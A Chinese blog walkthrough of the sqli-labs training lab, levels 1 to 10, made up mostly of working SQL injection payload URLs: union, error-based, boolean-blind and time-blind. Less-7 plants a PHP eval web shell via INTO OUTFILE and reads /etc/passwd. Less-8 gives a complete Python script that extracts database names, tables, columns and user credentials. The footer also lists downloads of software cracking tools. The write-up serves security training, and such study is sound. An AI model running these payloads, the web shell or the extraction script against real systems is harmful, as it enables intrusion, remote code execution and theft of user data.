sqli-labs:Less-1-Less-10

sqli-labs Less-54、55、56、57(sqli-labs闯关指南 54、55、56、57) 阅读详情

less 1 ~less 10都是get型的

less 1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

这里写图片描述
我们得到了登陆名 Dumb 和密码 Dump。我们在URL上添加了一个参数,并让这个参数指向第一条记录。这是便生成了一个从浏览器到数据库的表中的一个快速的查询,从而来获取“id=1”的记录。同样,你可以构造查询来得到后面的记录如 2,3,4……

后台语句是这样的
这里写图片描述


加个单引号

http://111.***.43.239/sqli-labs-master/Less-1/?id=1'

这里写图片描述
发现报错信息多出一个单引号,后面闭合语句也是用的单引号。构造注入语句:

http://111.***.43.239/sqli-labs-master/Less-1/?id=1' and '1'='1

这里写图片描述
返回正常,说明sql语句执行成功了,因为条件永远为真,所以正常返回。

猜解字段数,

http://111.***.43.239/sqli-labs-master/Less-1/?id=1' order by 5%23

第一个单引号的作用是闭合id参数,然后执行order by命令,需要用%23将后面的sql语句注释掉(%23 是#url编码之后的值,因为sql语句在进入数据查询的时候会进行一次url解码,所以这个地方必须是url编码之后的值)。
这里写图片描述

http://111.***.43.239/sqli-labs-master/Less-1/?id=1' order by 3%23  

当为3是正好返回正常,说明字段数为3。
以下两个注入可以成功执行。

这里写图片描述

http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,3%23

这里写图片描述

获取当前数据库名

http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,(select database()) ,3%23

这里写图片描述

#号是为了注释后面的语句

#号是为了注释后面的语句
获取所有数据库名

http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23

这里写图片描述

获取表名

http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479)%23

这里写图片描述
获取列名

http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23

这里写图片描述
获取数据

http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23

这里写图片描述
获取数据库版本

http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,@@version,database()%23

这里写图片描述

' or '1'='1
' or 1=1 --+
less2 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

数据库语句:
这里写图片描述
这里跟上面几乎一样,只是$id没用单引号引着,(因为sql语句对于数字型的数据可以不加单引号),不写单引号的注入就更简单了
现在执行的查询语句如下:

Select * from TABLE where id = 1' ;

所以这里的奇数个单引号破坏了查询,导致抛出错误。

这里写图片描述

根据返回错误信息,发现是数字型注入不需要单引号去闭合语句。

http://111.***.43.239/sqli-labs-master/Less-2/?id=-1 union select 1,@@version,database()%23

现在,从开发者的视角来看,为了对这样的错误采取保护措施,我们可以注释掉剩余的查询:

http://111.***.43.239/sqli-labs-master/Less-2/?id=1–-

注意:一定要在注释符号后加空格,或者URL编码后的空格(%20),否则注释符号不会产生作用。
可以成功注入的有:

or 1=1
or 1=1 --+
less 3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

数据库语句:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

可以判断出只是多出一个括号而已,所以在单引号后面加一个后括号。

http://111.***.43.239/sqli-labs-master/Less-3/?id=1′) and 1=1%23    正常
http://111.***.43.239/sqli-labs-master/Less-3/?id=1′) and 1=2%23    无返回

注入成功。

less 4 GET - Error based -Double quotes with twist string (基于错误的GET双引号变形字符型注入)

单引号并不会报错,双引号报错。并且需要后括号去闭合语句。
构造注入语句为:

http://111.***.43.239/sqli-labs-master/Less-4/?id=1″) and 1=1%23   正常
http://111.***.43.239/sqli-labs-master/Less-4/?id=1″) and 1=2%23   无返回
less 5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

如果所查询的用户id在数据库中,可以发现页面显示”You are in”,而不像前4关那样会显示出具体的账号密码
在这里插入图片描述
而如果输入的查询语句不存在,则什么也不会返回

在这里插入图片描述这个跟less2一样,但是没东西出来,看看源码
在这里插入图片描述
diff -urNa Less-2/index.php Less-5/index.php

在这里插入图片描述

因为Less-5没有输出$row

在这里插入图片描述

首先猜解库名

我们这里先用length测出数据库的长度是8
http://xx/sqli-labs/Less-5/?id=9%27%20and%20length(database())=8%20%23

接着,利用substr函数,推测库名的第一个字符
在这里插入图片描述小于t
在这里插入图片描述由此可推断第一个字符是s
接下来判断第二个字符:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(database(),2)>'sd'%23
‘sd’<’当前数据库名的前两位字符’<’sf’
所以当前数据库名的第二位字符为’e’。
以此类推,最后得到当前数据库名为“security”

第二步:推表名

因为有多个表,所以我们在这一步还是需要用到limit,以便一个个推测
还是一样,先测第一个表的长度
http://127.0.0.1/sqli-labs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))%23

使用上面这个payload,如果页面返回”You are in”,则表示第一张表的长度至少为1,同样的,我们可以对 limit num,1),num,1)) num部分进行递增判断,如果进行到 limit 0,1),7,1)) 时页面返回空,则说明第一张表的长度为7-1=6
http://127.0.0.1/sqli-labs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))%23
在这里插入图片描述
这里呢,我们只用substr就会不方便了,因为表名只要包含到数字或者像@这样的标识符,用字符一个夹逼就不是很方便,所以这里用acsii码来比对,这样范围更好确定
http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))>100%23
在这里插入图片描述
acsii码大于100,我们找到100所对于的acsii码得知100对应的是字符‘d’

![在这里插入图片描述](https://img-blog.csdnimg.cn/20181223103338841.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dpdGh1Yl8zNzIxNjk0NA==,size_16,color_FFFFFF,t_70
acsii码小于102,我们找到102所对于的acsii码得知102对应的是字符‘f’
由此我们可以确定,第一个表的第一个字符是e
由此类推,得知第一个表是emails
另外呢,可以利用count函数,查询表数量

查询security数据库下的表的个数

http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%201=(select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20)%23
页面返回”You are in”,则表示有四张表
在这里插入图片描述在这里插入图片描述还是先查询列的数量猜解列的个数
http://127.0.0.1/sqli-labs/Less-5/?id=1’ and %d=(select count(column_name) from information_schema.columns where table_name=‘users’)%23然
后一步步夹逼出列名
http://127.0.0.1/sqli-labs/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=“users” limit 4,1),1,1))>104%23
h<第五个列的第一个字符


其他payload,less 6即就改成双引号就好

查表,改一下limit后面的数字就好
第一个表
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
查列
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23

查数据
http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('~',(select email_id from emails limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23


less 6 Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

根据less5,这里也一样了,只不过是双引号而已,上面的less5改为双引号就好

http://localhost/sqli-labs/Less-6/?id=1" union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
less 7 Dump into outfile - String (导出文件GET字符型注入)

导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面
常用的语句是:
select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php"
当这里要获取到网站的在系统中的具体路径(绝对路径)
这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs

下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less3获取信息)
首先介绍两个可以说是函数,还是变量的东西
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
在这里插入图片描述
如上图,因为看到wamp,那么默认的网站的根目录的绝对路径就是/usr/local/mysql/var/了


在这里插入图片描述mysql>SHOW VARIABLES LIKE “secure_file_priv”;
在这里插入图片描述
1.进入mysql查看secure_file_prive的值
secure_file_prive=null – 限制mysqld 不允许导入导出
secure_file_priv=/tmp/ – 限制mysqld的导入导出只能发生在/tmp/目录下
secure_file_priv=’ ’ – 不对mysqld 的导入 导出做限制

2.更改secure_file_pri的值
(1).找到 /private/etc/my.cnf
(2).在my.cnf中添加加粗部分语句即可
[mysqld]
max_connections=1024
secure_file_priv=’’
[mysql]
Default-character-set=utf8mb4
(3).重启mysql服务器


http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["yanyan"]);?> ' into outfile "/home/wwwroot/default/mua.php" --+


在这里插入图片描述没有写入权限,用root用户执行chmod -R 777 ./sqli-labs


在这里插入图片描述http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["yanyan"]);?> ' into outfile "/home/wwwroot/default/sqli-labs/mua.php" --+


再次执行
在这里插入图片描述
虽然有报错但是有文件了。
在这里插入图片描述
接下来使用菜刀连接
在这里插入图片描述在这里插入图片描述
当然除了导出文件还有导入文件,因为这里前端没显示数据,可以导入导出同时使用即可
http://127.0.0.1/sqli-labs/Less-7/?id=1'))%20 union select 1,2,load_file('/etc/passwd') into outfile "/home/wwwroot/default/sqli-labs/passwd.php" --+
在这里插入图片描述
在这里插入图片描述

less 8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

发现加个单引号跟没加显示不一样,加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了

猜数据库名第一个字母具体过程,使用二分法

http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64 http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122 http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间 http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间 http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s

为什么这里是布尔型盲注呢,因为这里没把数据输出,只是$row有数据和无数据的时候显示的结果不一样
在这里插入图片描述

# -*-coding:utf-8-*-
import urllib2
import urllib
 
success_str = "You are in"
getTable = "users"
 
index = "0"
url = "http://localhost/sqli-labs/Less-8/?id=1"
database = "database()"
selectDB = "select database()" 
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"
 
 
asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
 
selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit " 
selectTableNameLengthPayloadbehind = ",1)>=%d #"
 
 
# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串 payload:使用的payload  length:猜测的长度
def getLengthResult(payload, string, length):
    finalUrl = url + urllib.quote(payload % (string, length))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False
 
# 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload    string:猜测的字符串   pos:猜测字符串的位置    ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
    finalUrl = url + urllib.quote(payload % (string, pos, ascii))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False
 
# 注入
def inject():
    # 猜数据库长度
    lengthOfDBName = getLengthOfString(lengthPayload, database)
    print "length of DBname: " + str(lengthOfDBName)
    # 获取数据库名称
    DBname = getName(asciiPayload, selectDB, lengthOfDBName)
    
    print "current database:" + DBname
 
    # 获取数据库中的表的个数
    # print selectTableCountPayload
    tableCount = getLengthOfString(selectTableCountPayload, DBname)
    print "count of talbe:" + str(tableCount)
 
    # 获取数据库中的表
    for i in xrange(0,tableCount):
        # 第几个表
        num = str(i)
        # 获取当前这个表的长度
        selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
        tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
        print "current table length:" + str(tableNameLength)
        # 获取当前这个表的名字
        selectTableName = selectTable%(DBname, i)
        tableName = getName(asciiPayload, selectTableName ,tableNameLength)
        print tableName
 
 
    selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
    # print selectColumnCountPayload
    # 获取指定表的列的数量
    columnCount = getLengthOfString(selectColumnCountPayload, getTable)
    print "table:" + getTable + " --count of column:" + str(columnCount)
 
    # 获取该表有多少行数据
    dataCountPayload = "'and (select count(*) from %s)>=%d #"
    dataCount = getLengthOfString(dataCountPayload, getTable)
    print "table:" + getTable + " --count of data: " + str(dataCount)
 
    data = []
    # 获取指定表中的列
    for i in xrange(0,columnCount):
        # 获取该列名字长度
        selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
        # print selectColumnNameLengthPayload
        columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
        print "current column length:" + str(columnNameLength)
        # 获取该列的名字
        selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
        selectColumnName = selectColumn%(getTable, i)
        # print selectColumnName
        columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
        print columnName
 
        tmpData = []
        tmpData.append(columnName)
        # 获取该表的数据
        for j in xrange(0,dataCount):
            columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
            # print columnDataLengthPayload
            columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
            # print columnDataLength
            selectData = "select " + columnName + " from users limit " + str(j) + ",1"
            columnData = getName(asciiPayload, selectData, columnDataLength)
            # print columnData
            tmpData.append(columnData)
    
        data.append(tmpData)
 
    # print data    
    # 格式化输出数据
    # 输出列名
    tmp = ""
    for i in xrange(0,len(data)):
        tmp += data[i][0] + "   "
    print tmp
    # 输出具体数据
    for j in xrange(1,dataCount+1):
        tmp = ""
        for i in xrange(0,len(data)):
            tmp += data[i][j] + "   "
        print tmp
    
# 获取字符串的长度          
def getLengthOfString(payload, string):
    # 猜长度
    lengthLeft = 0
    lengthRigth = 0
    guess = 10
    # 确定长度上限,每次增加5
    while 1:
        # 如果长度大于guess
        if getLengthResult(payload, string, guess) == True:
            # 猜测值增加5
            guess = guess + 5   
        else:
            lengthRigth = guess
            break
    # print "lengthRigth: " + str(lengthRigth)
    # 二分法查长度
    mid = (lengthLeft + lengthRigth) / 2
    while lengthLeft < lengthRigth - 1:
        # 如果长度大于等于mid 
        if getLengthResult(payload, string, mid) == True:
            # 更新长度的左边界为mid
            lengthLeft = mid
        else: 
        # 否则就是长度小于mid
            # 更新长度的右边界为mid
            lengthRigth = mid
        # 更新中值
        mid = (lengthLeft + lengthRigth) / 2        
        # print lengthLeft, lengthRigth
    # 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
    # 所以长度区间:大于等于 lengthLeft,小于lengthRigth
    # 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
    # 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
    return lengthLeft
 
# 获取名称
def getName(payload, string, lengthOfString):
    # 32是空格,是第一个可显示的字符,127是delete,最后一个字符
    tmp = ''
    for i in xrange(1,lengthOfString+1):
        left = 32 
        right = 127
        mid = (left + right) / 2
        while left < right - 1:
            # 如果该字符串的第i个字符的ascii码大于等于mid
            if getResult(payload, string, i, mid) == True:
                # 则更新左边界
                left = mid
                mid = (left + right) / 2
            else:
            # 否则该字符串的第i个字符的ascii码小于mid
                # 则更新右边界
                right = mid
            # 更新中值
            mid = (left + right) / 2
        tmp += chr(left)
        # print tmp
    return tmp  
        
 
def main():
    inject()
main()
less 9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

这里直接给payload

http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23

判断数据库名的第一个字母为s(ascii为115),判断错误的话是暂停5秒
这里为什么必须基于时间呢,因为你怎么输入,输出结果都是You are in ,这就必须通过时间来判断了
![在这里插入图片描述](https://img-blog.csdnimg.cn/20181223143442514.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dpdGh1Yl8zNzIxNjk0NA==,size_16,color_FFFFFF,t_70

less 10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

把上面的改成双引号就行

判断为基于时间的双引号注入

http://localhost/sqli-labs/Less-10/?id=1" and sleep(5) %23
http://localhost/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
http://localhost/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23
Simulink Test Sequence实战:5步搞定复杂逻辑测试(附Excel模板) 本文详细介绍了如何利用Simulink Test Sequence模块高效完成复杂逻辑测试。通过对比传统Excel方法的不足,阐述了Test Sequence以流程图和自然语言描述测试场景的优势,并提供了从环境搭建、逻辑构建到与Test Manager集成、利用Excel模板进行数据驱动的完整5步实战指南,帮助工程师将复杂的状态机或逻辑流测试从繁琐的‘体力活’转变为高效的‘技术活’。 阅读详情

相关推荐

如何在n8n中高效调用playwright-mcp实现浏览器自动化(附避坑指南)

本文详细介绍了在n8n中高效集成playwright-mcp实现浏览器自动化的全流程指南,包括环境准备、工作流设计与优化、高级技巧与性能调优以及调试与问题排查。通过克服实际部署中的各种挑战,帮助用户打造稳定高效的自动化解决方案,特别适合需要浏览器自动化的工作流场景。

weixin_30379531的博客 388

Sqli-Labs闯关—Less 1

Sqli-Labs闯关—Less 11、 1、

weixin_39157582的博客 215

ESP32 驱动 SYN6288 语音合成:Arduino IDE 下实现中文数字混合文本的智能播报

本文详细介绍了如何在Arduino IDE环境下使用ESP32驱动SYN6288语音合成模块,实现中文数字混合文本的智能播报。通过硬件选型、开发环境搭建、编码转换原理、命令帧构造及串口通信实战等步骤,帮助开发者快速掌握语音播报技术。文章还提供了混合文本处理技巧和常见问题排查方法,适合智能硬件开发者参考。

weixin_42553471的博客 448

SQL注入之sqli-labs的Less1~10史上最详细通关教程

SQL注入之sqli-labs详细通关教程 首先需要准备好火狐浏览器(方便下载hackbar这个插件)还有phpstudy搭建,以及sqli-labs搭建。其次,我们需要有一定的数据库基本语句基础,通关时有必要的语句我会解释,也希望大家可以自己在网上查找学习相关语句。 下面展示一些 基本语句。 查库:select schema_name from information_schema.schemata 查表:select table_name from information_schema.tables w

qq_49502930的博客 8045

嵌入式Linux Qt/QML开发实战:从Buildroot配置到应用部署

本文详细介绍了嵌入式Linux Qt/QML开发全流程,从Buildroot系统配置、交叉编译工具链搭建到应用部署与调试。以RK3506开发板为例,提供实战指南,帮助开发者高效完成嵌入式应用开发,解决常见环境配置与性能优化问题。

m2n3o4p5的博客 227

STM32F103模拟SSI时序解析:实现高精度绝对式编码器位置读取

本文详细解析了如何在STM32F103微控制器上通过软件模拟SSI协议时序,实现高精度绝对式编码器的位置读取。文章从项目驱动出发,深入剖析了SSI通信原理、硬件电平转换连接、核心软件模拟代码实现及关键时序参数调试方法,并提供了使用示波器进行波形对齐与优化的实战指南,为成本敏感型工业控制与机器人项目提供了高性价比的解决方案。

weixin_29196315的博客 143

在线sqli-labs 通关大全 Less-1

sqli-labs (1) sqli-labs实验前: 本人因在sqli-labs搭建过程中遇到大量问题,百度后依旧无果,所以现决定在在线sqli-labs平台进行试验。 sqli-labs在线平台: http://43.247.91.228:84/ 在线平台sqli-labs Page-1 点击Less-1可直接进行试验 一.知识点 1.FireFox插件HackBar使用 2.字符型注入:注意单引号闭合 3.sqlmap这里暂时不使用,想了解的可以自己尝试,刚开始手工注入扎扎实实打基础较好。

qq_44985415的博客 2237

HID报告描述符实战解析:从Usage到Item的完整设计流程

本文深入解析了HID报告描述符的设计流程,从核心概念Usage(用途定义)入手,详细阐述了如何通过Item(条目)的三种角色——全局、局部与主干,构建出能被系统正确识别的设备“说明书”。文章以标准USB鼠标和键盘为例进行实战拆解,并介绍了使用Report ID与自定义设备等进阶设计方法,帮助开发者掌握这一实现USB设备即插即用的关键技术。

weixin_29230865的博客 282

sqli-lab靶场学习(一)——Less1-4(语句闭合,联合注入)

最近一段时间想切入安全领域,因为本身有做数据库运维工作,就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外,需要有个实践的环境,刚好看到sqli-lab这个靶场,就打算先用这个来学习。

sadoshi的专栏 1238

医学图像分割实战:基于TransUNet训练自己的眼底硬渗出物数据集(附完整代码)

本文详细介绍了基于TransUNet的眼底硬渗出物分割实战指南,涵盖数据预处理、模型调优、训练策略及性能优化等关键环节。通过代码复现和实验对比,展示了TransUNet在医学图像分割中的优势,为糖尿病视网膜病变的早期诊断提供技术支持。

weixin_42524708的博客 364

微信小店推客分销系统源码获取与自研开发全攻略(2025年最新版)

源码选择建议快速试错:选用开源项目(如启航系统),3天可上线基础功能长期布局:购买商业源码授权,重点定制分佣规则与UI交互完全自研:适合年GMV过亿的大型企业,需前置投入风控与合规设计行动清单注册微信开放平台账号,完成视频号机构认证下载开源项目代码,部署本地测试环境联系三家源码供应商,获取合规性审计报告设计三级分佣比例表,通过法律顾问合规审查通过以上路径,可高效构建合规、稳定、高转化的微信小店推客分销系统,抢占2025年视频号电商红利。

2401_85184777的博客 1286

由sqli-labs/Less-5学习各种基础盲注技巧

本文为本人在学习中的总结,仅涉及基础的盲注技巧,可能多有疏漏之处,欢迎指教。 另外本人博客的SQL注入分类下有一些方面的详细讲解,在此只介绍简单的使用。 0x00、介绍一下本人对盲注的总结。 盲注就是在没有回显的结果下进行推断性的注入,这样我们有几种办法来注入: 1、根据页面正常与否判断payload是否正确(基于bool的盲注) 2、想办法让页面产生回显(个人感觉这个比较好用)(基于报...

Sea_Sand息禅 914

康复训练监测系统:基于YOLOv8的患者动作规范识别

本文系统介绍了基于YOLOv8的康复训练动作规范识别系统,从理论背景、数据准备、模型训练、推理应用到UI界面,提供了完整技术链条及代码示范。希望对康复领域的智能监测应用提供参考和借鉴。

YOLO 453

Sqli-Labs做题笔记:Less-1 - Less-10

sqli-labs Less-1: http://localhost/sqli-labs-kali2-master/Less-1/?id=-1%27+union+select+1,group_concat(username),group_concat(password)+from+security.users+--+ Less-2: http://localhost/sqli-labs-kali2-master/Less-2/?id=-1+union+select+1,group_concat(usern

Forever_Han13的博客 645

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

【八个月网安课程】第五周·周六:靶场综合实战——sqli-labs Less 1-10 手工注入全通关

本周六,独立完成sqli-labs Less-1至Less-10手工注入通关。通过手动判断闭合方式(单双引号、括号)、注入类型(显错、联合查询、报错、布尔盲注、时间盲注),成功提取数据库名、表名、列名及用户凭证。全程未使用sqlmap,每关均构造精准payload,保留关键截图作为凭证。实战锤炼了漏洞识别与利用能力,标志着从依赖工具向独立渗透的质变,为后续防御与绕过技术打下坚实基础。

深山技术宅的博客 209

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

sqli-labs靶场练习Less-1~10(持续更新)--ch4nge

sqli-labs靶场练习 SQL注入练习 靶场环境:BUUOJ(前期自己本地使用phpstudy搭建的,后来使用buuctf) ###Less1 源码: $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ####联合注入:?id=-1’ union select 1,2,3--+ 判断注入点: ?id=1正常 id=1’发现报错 试一下注释符--+和-- -可以用,这里用--+ 这个时候就可以大致猜到后台查询数据库的语句 select * f

ch4nge 2139

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

SQLi-LABS的Less1分析

id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ //查询当前数据库(security)下所有的表名。id=-1' union select 1,database(),3 --+ //把2 改为了database()// select <字段> from <数据库>.<表> where id='

haoahaoahaoahao的博客 1278

sqli-lab Less1-10通关

页面中“Please input the ID as parameter with numeric value”意思是请以数字值作为参数输入用户标示符。首先判断这是数字注入还是字符注入。经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询。然后在id后面加个',就会报错,可能是字符型注入输入--+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入然后用order by 来判断有多少列数据,order by 3,发现是页面正常。

weixin_65725423的博客 2410

sqli-labs通关攻略【Less-1 Less-2 Less-3 Less-4】

sqli-labs靶场搭建 sql注入基础练习 sqli靶场练习通关详解

qq_65379983的博客 3016

sqli-labs靶场(less-1~10)mp

id=1?id=1’为字符型(需闭合)?id=1’ union select 1,2,3–+(或者用order by 3)?说明有3列?显示位为2和3?数据库的名称为security?解释:information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。

eee1122的博客 1644

SQLi-Labs靶场Less1-Less5关卡复现

①初始页面:存在"Please input the ID as parameter with numeric value"提示②根据提示尝试构造?id=1,发现了id=1的用户名及其密码③用单引号测试注入点,存在报错信息可以初步判断是字符型SQL注入漏洞④根据注入点的报错信息尝试闭合语句,最终闭合成功的语句为?id=1' -- sid=1' -- s⑤用order by判断注入点数量⑥通过注入点数量,查看是否存在回显点,查找到回显点2,3⑦通过回显点爆数据库名。

ajdue123321的博客 1782

sqli-labs靶场less-9和less-10

dnslog注入通过less-9,10

wanggonghanfei的博客 1229

【网络安全】新手的第一次SQLi-LABS靶场练习 Less-1至Less-4

本人为初学者,这篇文章可能会出现各种问题,望各位大佬见谅,有错误请指出。

2402_87970928的博客 1053

sqli-labs:Less-1关卡详细解析

SQL注入漏洞测试摘要 本文详细介绍了针对SQL注入漏洞(字符型单引号闭合)的手工检测方法和SQLMap自动化测试流程。主要内容包括: 手工注入步骤: 通过order by判断字段数(确定3个字段) 使用union select确认回显位(2、3列) 获取数据库名、用户信息等基础数据 从information_schema中提取表名、字段名 最终获取users表的账号密码数据 SQLMap自动化测试: 提供了完整的检测命令链 包含数据库枚举、表名获取、字段提取和数据导出 关键知识点: 单引号闭合原理

qq_62000508的博客 1245

sqli-labs靶场第五关less-5

sqli-labs第五关less-5用extractvalue()函数报错注入

wanggonghanfei的博客 1603

Sqli-labs Less18-Less23 HTTP头

一丢丢Sqli-labs小练习

beiweixiaotian66的博客 939
上一篇: Confluence任意文件读取
下一篇: Memcache未授权访问漏洞利用及修复
Shannonnnn
博客等级 码龄10年 241粉丝 69原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值